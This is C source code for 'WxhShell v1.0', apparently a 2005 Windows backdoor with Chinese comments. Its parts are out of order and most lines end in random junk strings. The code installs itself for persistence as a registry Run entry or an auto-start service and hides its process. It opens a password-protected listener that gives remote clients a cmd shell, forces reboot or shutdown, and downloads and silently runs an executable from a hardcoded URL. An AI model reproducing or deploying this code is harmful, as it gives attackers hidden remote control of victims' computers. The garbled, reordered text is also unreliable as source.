    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J6<rX[ yZe  
    if(Boot(SHUTDOWN)) I7&_Xr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D/=5tOy  
    else { M?/jkc.8H  
    closesocket(wsh); SwU\ q]^|Z  
    ExitThread(0); iZZ (4  
    } HV/cc"  
    break; <40rYr$/J  
    } a {ab*tM  
  // 获取shell fo4.JyBk  
  case 's': { l$hJE;n  
    CmdShell(wsh); @x/T&67k  
    closesocket(wsh); Pf F=m'  
    ExitThread(0); ,TRTRb;  
    break; RaTH\ >n  
  } (5Sivw*mP  
  // 退出 ,|88r=}  
  case 'x': { d(:3   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QORN9SY  
    CloseIt(wsh); <A9y9|>o  
    break; _sy'.Fo  
    } X{kpSA~  
  // 离开 ^2wLxXO6  
  case 'q': { <|?K%FP7Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -TZ p FT"  
    closesocket(wsh); CDi<< ,  
    WSACleanup(); b~BIz95  
    exit(1); ?`[NFqv_]  
    break; }oJAB1'k  
        } 1&:@  
  }  9dzdrT  
  } -VZRujl  
kw`WH)+F  
  // 提示信息 8_K6 0eXz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @t1V o}c  
} 4'p=p#o  
  } Rte+(- iL  
$W;b{H=F  
  return; FecktD=  
} >5G>D~b  
,_ag;pt9)  
// shell模块句柄  Yav2q3  
int CmdShell(SOCKET sock) -|Kzo_" v5  
{ bw&myzs  
STARTUPINFO si; 79=45'8  
ZeroMemory(&si,sizeof(si)); ZX~ _g@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T#Z%y!6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $ OVXk'cc  
PROCESS_INFORMATION ProcessInfo; iK{T^vvk  
char cmdline[]="cmd"; 8e0."o.6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AOrHU M[I  
  return 0; k n8N,,+  
} *V(Fn-6(  
Y\2|x*KwvF  
// 自身启动模式 <:8,niKtw  
int StartFromService(void) l.nH?kK<  
{ @ \2#Dpr  
typedef struct A"Q@W<.  
{ 4e9q`~ sO  
  DWORD ExitStatus; _{~]/k  
  DWORD PebBaseAddress; hY<{t.ws  
  DWORD AffinityMask; B pLEPuu30  
  DWORD BasePriority; t5 a7DD  
  ULONG UniqueProcessId; PNSMcakD  
  ULONG InheritedFromUniqueProcessId; x?D/.vrOY  
}   PROCESS_BASIC_INFORMATION; [&Hkn5yq  
N]5m(@h  
PROCNTQSIP NtQueryInformationProcess; x O7IzqY  
ezTZnutZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jw6Tj;c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7.bN99{xPM  
ep(g`e  
  HANDLE             hProcess; [FQ\I-GNC  
  PROCESS_BASIC_INFORMATION pbi; c#xP91.m  
5, b]V)4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %IBL0NQT  
  if(NULL == hInst ) return 0; V:bV ?lt  
# k5#j4!b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h7qBp300  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3}&ZOO   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @kD8^,(oH  
'PdmI<eXQ  
  if (!NtQueryInformationProcess) return 0; @{Py%  
6xgv:,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <M[U#Q~?~e  
  if(!hProcess) return 0; hv)7H)|l~]  
MmU%%2QG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e&X>F"z2  
bdc\  
  CloseHandle(hProcess); ,=[*Lo>O  
3/M.0}e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fAj2LAK  
if(hProcess==NULL) return 0; 4f1D*id*`#  
xQt 3[(Z  
HMODULE hMod; Fm j=  
char procName[255]; 't>r sp+#  
unsigned long cbNeeded; I^Qx/uTKw  
OKwOugi0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JE%A|R<Jl  
T<jfAE  
  CloseHandle(hProcess); zJ& b|L  
'UDBV  
if(strstr(procName,"services")) return 1; // 以服务启动 =L 0fZf  
xDrV5bg  
  return 0; // 注册表启动 O25m k X  
} ?=|kC*$/G  
]O!s 'lC  
// 主模块 Di??Q_$ak  
int StartWxhshell(LPSTR lpCmdLine) StQ@g  
{ lg/sMF>z\f  
  SOCKET wsl; ^Qh-(u`  
BOOL val=TRUE; _dmL}t-  
  int port=0; EZ% .M*?  
  struct sockaddr_in door; dl/X."iv!  
,8 SWe  
  if(wscfg.ws_autoins) Install(); l`rC0kJ]  
XNmQ?`.2'  
port=atoi(lpCmdLine); Xm[Czd]%  
mCb 9*|  
if(port<=0) port=wscfg.ws_port; }V^e7d  
cCng5Nq,c  
  WSADATA data; {^&k!H2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /e5\9  
e(\Q)re5Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .98.G4J>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BRtXf0~&p  
  door.sin_family = AF_INET; DPPS?~Pq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +sn2Lw!^  
  door.sin_port = htons(port); !`C?nY  
dIK{MA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mmN|F$;r  
closesocket(wsl); )<LI%dQ:'l  
return 1; ?Y!U*& 7  
} Es:6  
OWV/kz5'H  
  if(listen(wsl,2) == INVALID_SOCKET) { @DCJ}h ud  
closesocket(wsl); BHiOQ0Fs  
return 1; 2 zl~>3S  
} |F~88j{VN  
  Wxhshell(wsl); 83?1<v0%  
  WSACleanup(); ,|x\MHd?t_  
<UAP~RH{  
return 0; Riq|w+Q  
V* Qe5j9  
} rys<-i(  
AgI>  
// 以NT服务方式启动 zn[QvY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %LcH>sV  
{ KZ4zF  
DWORD   status = 0; G:hU{S7  
  DWORD   specificError = 0xfffffff; x,-S1[#X;  
ioWJj.%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AI R{s7N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~%KM3Vap  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4[(? L{  
  serviceStatus.dwWin32ExitCode     = 0; -4%]QS  
  serviceStatus.dwServiceSpecificExitCode = 0; To^# 0  
  serviceStatus.dwCheckPoint       = 0; \AHY[WKx  
  serviceStatus.dwWaitHint       = 0; yI:r7=KO  
U%n,XOJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (qj,GmcS  
  if (hServiceStatusHandle==0) return; 9 c6'  
bu&;-Ynb  
status = GetLastError(); T(&kXMaB  
  if (status!=NO_ERROR) :F9q>  
{ y,^";7U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zw< 4G[u  
    serviceStatus.dwCheckPoint       = 0; (`F|nG=X  
    serviceStatus.dwWaitHint       = 0; TIETj~+  
    serviceStatus.dwWin32ExitCode     = status; UIz:=DJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3)xbnRk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,FY-d$3)  
    return; "'~|}x1Uv  
  } DQMPAj.  
lD-V9   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x!`b'U\  
  serviceStatus.dwCheckPoint       = 0; PaxK^*  
  serviceStatus.dwWaitHint       = 0; 5^b i 7J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @+$cZ3,  
} xl3zy~;M  
uFC?_q?4\  
// 处理NT服务事件,比如:启动、停止 }2h't.Z<u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .hc|t-7f  
{ |G)Y8 #D  
switch(fdwControl) TZ:34\u   
{ })KJ60B  
case SERVICE_CONTROL_STOP: i,([YsRuou  
  serviceStatus.dwWin32ExitCode = 0; W  _J&M4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; & &6*ez  
  serviceStatus.dwCheckPoint   = 0; b~jIv:9T  
  serviceStatus.dwWaitHint     = 0; %v_IX2'  
  { n}0za#G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _O"L1Let  
  } '7t|I6$ow  
  return; 8W;xi:CC  
case SERVICE_CONTROL_PAUSE: n>br,bQe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AfUZO^<  
  break; \QliHm!  
case SERVICE_CONTROL_CONTINUE: Hw\([j*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ';&0~[R[  
  break; PEfE'lGj  
case SERVICE_CONTROL_INTERROGATE: O+p]3u  
  break; 3R'.}^RN  
}; Ir!2^:]!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 #aqz9k  
} {d^Q7A:`  
4sb )^3T  
// 标准应用程序主函数 n"mJEkHE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +mivqR~{{  
{ nDyvX1]  
('T4Db  
// 获取操作系统版本 @55bE\E?@  
OsIsNt=GetOsVer(); $[j-C9W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~l(G6/R  
jaK'W  
  // 从命令行安装 ftO+.-sm<  
  if(strpbrk(lpCmdLine,"iI")) Install(); {An8/"bv}  
Ok*VQKyDLH  
  // 下载执行文件 4xv9a;fP  
if(wscfg.ws_downexe) { 2IKxh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '&N: S-  
  WinExec(wscfg.ws_filenam,SW_HIDE); fB_4f{E  
} g4zT(,ZY  
)\um "l*\c  
if(!OsIsNt) { =t@:F  
// 如果时win9x,隐藏进程并且设置为注册表启动 -zPm{a  
HideProc(); =ZCH1J5"  
StartWxhshell(lpCmdLine); 6].yRNy"  
} %|# P&`  
else ;n3uV`\  
  if(StartFromService()) L v  
  // 以服务方式启动 7J0 ^N7"o  
  StartServiceCtrlDispatcher(DispatchTable); h |s*i  
else v>JB rIb$  
  // 普通方式启动 E^oEG4 X@  
  StartWxhshell(lpCmdLine); }UyzM y,  
Bx\#`Y  
return 0; U,oD44  
} :jZ*,d%1={  
NFdJb\  
_ pY   
{KW&wsI  
=========================================== p6<E=5RRd1  
*raIV]W3  
#cw! &  
K~7'@\2 ?  
 JA }S{  
1h#w"4  
" ~|X99?P  
+}Qv6s#  
#include <stdio.h> >g5T;NgH9  
#include <string.h> $-C6pZN(X  
#include <windows.h> ?9o#%?6k  
#include <winsock2.h> ;y:#S^|?-z  
#include <winsvc.h> /V#MLPA  
#include <urlmon.h> b|X>3(  
-=-x>(pRW7  
#pragma comment (lib, "Ws2_32.lib") e1f^:C  
#pragma comment (lib, "urlmon.lib") N&R '$w  
/ChJ~g"  
#define MAX_USER   100 // 最大客户端连接数 )a4E&D  
#define BUF_SOCK   200 // sock buffer +~R.7NE%  
#define KEY_BUFF   255 // 输入 buffer o'x_g^ Y  
EGQ1l i'B  
#define REBOOT     0   // 重启 rXHHD#\oF  
#define SHUTDOWN   1   // 关机 K1m!S9d`x  
o=a:L^nt,  
#define DEF_PORT   5000 // 监听端口 b?+ Yo>yF8  
2:smt)f  
#define REG_LEN     16   // 注册表键长度 t[H_6)  
#define SVC_LEN     80   // NT服务名长度 ~2, wI<Nz  
B}TInI%H  
// 从dll定义API Nlf&]^4(0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aT`02X   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PuUon6bZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ; @[.$Q@I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mCEKEX  
O"2wV +9  
// wxhshell配置信息 'vf,T4uQ"  
struct WSCFG { @=aq&gb  
  int ws_port;         // 监听端口 2WbZ>^:Nsk  
  char ws_passstr[REG_LEN]; // 口令 ek+8hnkh  
  int ws_autoins;       // 安装标记, 1=yes 0=no z- {"pI  
  char ws_regname[REG_LEN]; // 注册表键名 g,z&{pZch  
  char ws_svcname[REG_LEN]; // 服务名 5sf fDEU]A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *y[~kWI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cwDD(j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ];wohW%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %n V@'3EI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I5|S8d<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a3E*%G  
G`3vH,  
}; a#^4xy:  
6|(7G64{  
// default Wxhshell configuration 0ghwFo  
struct WSCFG wscfg={DEF_PORT, Ff1M~MhG  
    "xuhuanlingzhe", :67d>wb  
    1, X\^3,k."  
    "Wxhshell", N#xM_Mpt  
    "Wxhshell", @Ig,_i\UY:  
            "WxhShell Service", 8xGkh?%  
    "Wrsky Windows CmdShell Service", :h](;W>H  
    "Please Input Your Password: ", YM,D`c[pX  
  1, b} q(YgH<  
  "http://www.wrsky.com/wxhshell.exe", iM-hWhU  
  "Wxhshell.exe" {(zL"g46  
    }; wxr}*Z:ZMa  
:XZJxgx  
// 消息定义模块 (x*2BEn|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q:xI} ]FM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {t IoC;Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %/,Uk+3p  
char *msg_ws_ext="\n\rExit."; xBx?>nN  
char *msg_ws_end="\n\rQuit."; @+Anv~B.  
char *msg_ws_boot="\n\rReboot..."; ,:Y=,[n  
char *msg_ws_poff="\n\rShutdown..."; ,r)d#8  
char *msg_ws_down="\n\rSave to "; 66y,{t  
{7MgN'4  
char *msg_ws_err="\n\rErr!"; TY{?4  
char *msg_ws_ok="\n\rOK!"; TlZlE^EE<  
{10+(Vl  
char ExeFile[MAX_PATH]; l#(g&x6J  
int nUser = 0; tGy%n[ \  
HANDLE handles[MAX_USER]; 0BU:(o&  
int OsIsNt; zw;(:fgY#  
l9Cy30O6  
SERVICE_STATUS       serviceStatus; w})&[d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sC*E;7gT,  
?9.?w-Q'  
// 函数声明 5<'Jd3N{&  
int Install(void); _\V{X}ftqa  
int Uninstall(void); 7}HA_@[  
int DownloadFile(char *sURL, SOCKET wsh); S>zKD  
int Boot(int flag); &I">{J<  
void HideProc(void); U},W/g-  
int GetOsVer(void); Z-r0 D  
int Wxhshell(SOCKET wsl); 0~I) /T  
void TalkWithClient(void *cs); F u=VY{U4  
int CmdShell(SOCKET sock); 9"v ox   
int StartFromService(void); \V7x3*nA  
int StartWxhshell(LPSTR lpCmdLine); u=N;P  
m`w6wz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 78}%{7YY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |@4h z9~3  
Czl 8Q oH  
// 数据结构和表定义 I,q~*d  
SERVICE_TABLE_ENTRY DispatchTable[] = PzG:M7  
{ S6Xw+W02  
{wscfg.ws_svcname, NTServiceMain}, .6]cu{K(  
{NULL, NULL} +hYmL Sq  
}; C]@B~X1H^  
2yg'?tpj  
// 自我安装 )FiU1E  
int Install(void) f;I"tugO  
{ a*@Z^5f  
  char svExeFile[MAX_PATH]; [&59n,R`  
  HKEY key; o`]FH _  
  strcpy(svExeFile,ExeFile); 206jeH9  
*^m.V=  
// 如果是win9x系统,修改注册表设为自启动 A.*nDl`H  
if(!OsIsNt) { {+59YO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }C1}T}U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o ieLh"$  
  RegCloseKey(key); -&^(T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B#lj8I^|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &l)v'  
  RegCloseKey(key); $e,!fB;B  
  return 0; d:ajD  
    } F}mwQ%M  
  } B}bNl 7 ~  
} ^E,Uc K;  
else { YtKX\q^.  
aYX'&k `  
// 如果是NT以上系统,安装为系统服务 0([jD25J!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c_=zd6 b$S  
if (schSCManager!=0) ^OsUWhkV  
{ BNUf0;  
  SC_HANDLE schService = CreateService JVCgYY({KQ  
  ( )O'<jwp$  
  schSCManager, (8/xSOZ[  
  wscfg.ws_svcname, 1e%Xyqb  
  wscfg.ws_svcdisp, @Kb~!y@G  
  SERVICE_ALL_ACCESS, '\qr=0aW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qWK7K%-$ E  
  SERVICE_AUTO_START, f4^_FK&  
  SERVICE_ERROR_NORMAL, 5Wjp_^!e  
  svExeFile, ZPog)d@!  
  NULL, H*<dte<  
  NULL, LB0=V0|  
  NULL, +#9 (T  
  NULL, Unk+@$E&  
  NULL i oQlC4Y  
  ); qa#F}aGd  
  if (schService!=0) *]u/,wCB  
  { =l{KYv  
  CloseServiceHandle(schService); \}c50}#0  
  CloseServiceHandle(schSCManager); $9$NX/P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o*8 pM`uw  
  strcat(svExeFile,wscfg.ws_svcname); b&&'b )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zh#uwT1u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6YbSzx` ?k  
  RegCloseKey(key); 3_:k12%p  
  return 0; }7^*%$  
    } -': tpJk  
  } an@Ue7  
  CloseServiceHandle(schSCManager); NyNu1V$  
} Ml ^Tb#  
} 1Tkz!  
^4i3#}  
return 1; <ZEll[0L  
} rZ7 Ihof  
->UrWW^  
// 自我卸载 <#Dc(VhT  
int Uninstall(void) $'wl{D"  
{ S6I8zk)Z4  
  HKEY key; n_Dhq(.  
qlP=Y .H  
if(!OsIsNt) { 2q bpjm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DO; 2)ZQ%  
  RegDeleteValue(key,wscfg.ws_regname); L x&ZWF$  
  RegCloseKey(key); '-_PO|}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mf"B!WU>]B  
  RegDeleteValue(key,wscfg.ws_regname); 4v7RX  
  RegCloseKey(key); ; o=mL_[  
  return 0; 8X5XwFf}  
  } pe-d7Ou P  
} lw{|~m5`  
} bzS [X  
else { VdgPb (  
R _%pR_\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /zM7G?y  
if (schSCManager!=0) ,\ i q'}i  
{ AseY.0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kp|reKM/  
  if (schService!=0) 7Fx8&Z  
  { uVocl,?.L  
  if(DeleteService(schService)!=0) { IYFA>*Es  
  CloseServiceHandle(schService); 9"e!0Q40  
  CloseServiceHandle(schSCManager); "Y+`U  
  return 0; ]SI`fja/  
  } ,??|R` S  
  CloseServiceHandle(schService); xN]bRr  
  } j(rFORT  
  CloseServiceHandle(schSCManager); 9UZX+@[F  
} 6{6tg>|L)  
} *4bV8T>0Z  
IM+PjYJ  
return 1; n9%rjS$  
} BeRn9[  
1,E/So   
// 从指定url下载文件 8I'?9rt2M  
int DownloadFile(char *sURL, SOCKET wsh) &}oDSD H^,  
{ &fcRVku  
  HRESULT hr; 20q T1!j u  
char seps[]= "/"; z{ 8!3>:E  
char *token; f"Z2&Y@  
char *file; 8{RiaF8  
char myURL[MAX_PATH]; )-mB^7uXGv  
char myFILE[MAX_PATH]; ?s//a_nL*  
Y 4U $?%j  
strcpy(myURL,sURL); 0bor/FU-d  
  token=strtok(myURL,seps);  :JlJB  
  while(token!=NULL) G8SJ<\?  
  { ? DPL7  
    file=token; ci!c7 ,'c  
  token=strtok(NULL,seps); >\e11OU0Gy  
  } b% F|V G  
("{'],>  
GetCurrentDirectory(MAX_PATH,myFILE); ojaZC,}  
strcat(myFILE, "\\"); 8yd OS  
strcat(myFILE, file); )9*WmFc+#  
  send(wsh,myFILE,strlen(myFILE),0); Dbgw )n*2  
send(wsh,"...",3,0); 0wx`y$~R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >7n(* M  
  if(hr==S_OK) ;RR)C@n1  
return 0; i}!CY@sW  
else 'F@'4[uda  
return 1; 9]Y@eRI<  
}} IvZG&  
} &0 @2JS/!  
\t}!Dr+yN  
// 系统电源模块 H*Yy o ?  
int Boot(int flag) /h_BF\VBs  
{ rIXAn4,dTv  
  HANDLE hToken;  8NLk`/  
  TOKEN_PRIVILEGES tkp; u~K4fP  
L"IdD5`7T  
  if(OsIsNt) { k]v a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :5ji.g* 0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ij" `pdp  
    tkp.PrivilegeCount = 1; O:1YG$uKa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j}y"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +Ta7b)  
if(flag==REBOOT) { "Li"NxObCA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /@0wbA  
  return 0; .uhP (  
} >]Y`-*vw&  
else { #SO9e.yhI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SA'  zy45  
  return 0; :=-h'<D  
} `*WR[c  
  } 4\t9(_  
  else { IXg0g<JZ  
if(flag==REBOOT) { Z(Xu>ap  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "S1+mSW>  
  return 0; ucyxvhH^-  
} }E*#VA0/nY  
else { kYx|`-PA<r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R`Q9|yF\  
  return 0; k5|h8%h8  
} gV A$P  
} U)N;=gr\  
oveW)~4  
return 1; 41$7P[M;  
} Wa ,  #  
 dY|(  
// win9x进程隐藏模块 B|#"dhT  
void HideProc(void) 9^XT,2Wwf  
{ evq *&.6\  
UDhW Y.`'~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p.)G ],  
  if ( hKernel != NULL ) fZ$8PMZv  
  { *joM[ML` 6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2UA h^i-^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S&FMFXF@  
    FreeLibrary(hKernel); !'MZeiLP  
  } nx8 4l7<  
Xrc0RWXB8  
return; ]hc.cj`\W&  
} 0Kq\ oMn  
VQ2)qJ#l  
// 获取操作系统版本 Y ~xcJH  
int GetOsVer(void) EX=Q(}9F<  
{ &K/5AH"q  
  OSVERSIONINFO winfo; g#W)EXUR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }hhDJ_I5M  
  GetVersionEx(&winfo); y.HE3tH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }qRYXjS  
  return 1; 6l<q  
  else d?.ewsC  
  return 0; Yc&yv  
} 8N'[ )Jw  
<%B sb}h,  
// 客户端句柄模块 [g`P(?  
int Wxhshell(SOCKET wsl) A7C+-N  
{ Y7{IF X  
  SOCKET wsh; N[~ RWg  
  struct sockaddr_in client;  km|;T!  
  DWORD myID; bODCC5yL  
M|w;7P}  
  while(nUser<MAX_USER) =]K;"  
{ VE`5bD+%e  
  int nSize=sizeof(client); Mpzt9*7R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KY~p>Jmh  
  if(wsh==INVALID_SOCKET) return 1; xrs?"]M[  
4$oNh)+/h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zW+X5yK  
if(handles[nUser]==0) p Wa'Fd  
  closesocket(wsh); <%Zg;]2H`  
else 9w9[0BX#  
  nUser++; MqDz cB]  
  } Z ]V^s8>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;'~U5Po8  
9)9p<(b $  
  return 0; M_lQ^7/  
} c6.S jV  
^K. d|z  
// 关闭 socket ~)xg7\k  
void CloseIt(SOCKET wsh) I]+xerVd  
{ {]BPSj{B  
closesocket(wsh); 6O"?wN%$  
nUser--; VbyGr~t  
ExitThread(0); _IYd^c  
} 7)SG#|v[$  
(&t741DN|  
// 客户端请求句柄 }tJR Bb  
void TalkWithClient(void *cs) LS;j]!CU  
{ [CxnGeKK  
x8x8T $  
  SOCKET wsh=(SOCKET)cs; %Z_/MNI  
  char pwd[SVC_LEN]; E}6q;"[  
  char cmd[KEY_BUFF]; HEh,Cf7`'  
char chr[1]; tQ~vLPi$  
int i,j; uy'm2  
r:;nv D  
  while (nUser < MAX_USER) { eYNu78u   
R<(kiD\?]  
if(wscfg.ws_passstr) { wzX(]BG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r'*x><m'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jEU`ko_  
  //ZeroMemory(pwd,KEY_BUFF); A.-j 5C4  
      i=0; ]+4QsoFNt  
  while(i<SVC_LEN) { r:N =?X`N  
v<0\+}T1R  
  // 设置超时 ZW+M<G  
  fd_set FdRead; [u*-~(  
  struct timeval TimeOut; }OZut!_  
  FD_ZERO(&FdRead); p} }pq~EH/  
  FD_SET(wsh,&FdRead); n $Nb,/o  
  TimeOut.tv_sec=8; 2-G6I92d  
  TimeOut.tv_usec=0; S:5vC {  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k|uW~ I)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~V34j:  
 vNWCv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IhR;YM[K  
  pwd=chr[0]; /6fa 7;  
  if(chr[0]==0xd || chr[0]==0xa) { I'h|7y\  
  pwd=0; U~3uu &/r  
  break; 9f=L'{  
  } Budo9z_w  
  i++; !m {d6C[  
    } [d d KC)tA  
o,NTI h  
  // 如果是非法用户,关闭 socket YzA6*2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *C~$<VYI  
} 6Dl]d %.  
wn1` 9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bT>1S2s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nh^ lC  
|7CFm  
while(1) { JX)%iJq#  
`/"*_AKAI  
  ZeroMemory(cmd,KEY_BUFF);  Uf,fd  
}+@GgipyO.  
      // 自动支持客户端 telnet标准   L$zB^lSM  
  j=0; /}\Uw  
  while(j<KEY_BUFF) { *`]#ntz9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8pXului  
  cmd[j]=chr[0]; F[@M?  
  if(chr[0]==0xa || chr[0]==0xd) { %|izt/B  
  cmd[j]=0; aam6R/4  
  break; :aHLr[%Mz  
  } 1 !8 b9  
  j++; \cx==[&(  
    } bC h  
1F,>siuh ,  
  // 下载文件 dbsD\\,2%N  
  if(strstr(cmd,"http://")) { Z#vU~1W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +tCNJ<S@l$  
  if(DownloadFile(cmd,wsh)) )`z{T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o"gtWAGH  
  else w,x'FZD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); umuE5MKY<  
  } "6t#   
  else { =}K"@5J  
wa%;'M&  
    switch(cmd[0]) { oYmLJzCf  
  =\FV_4)  
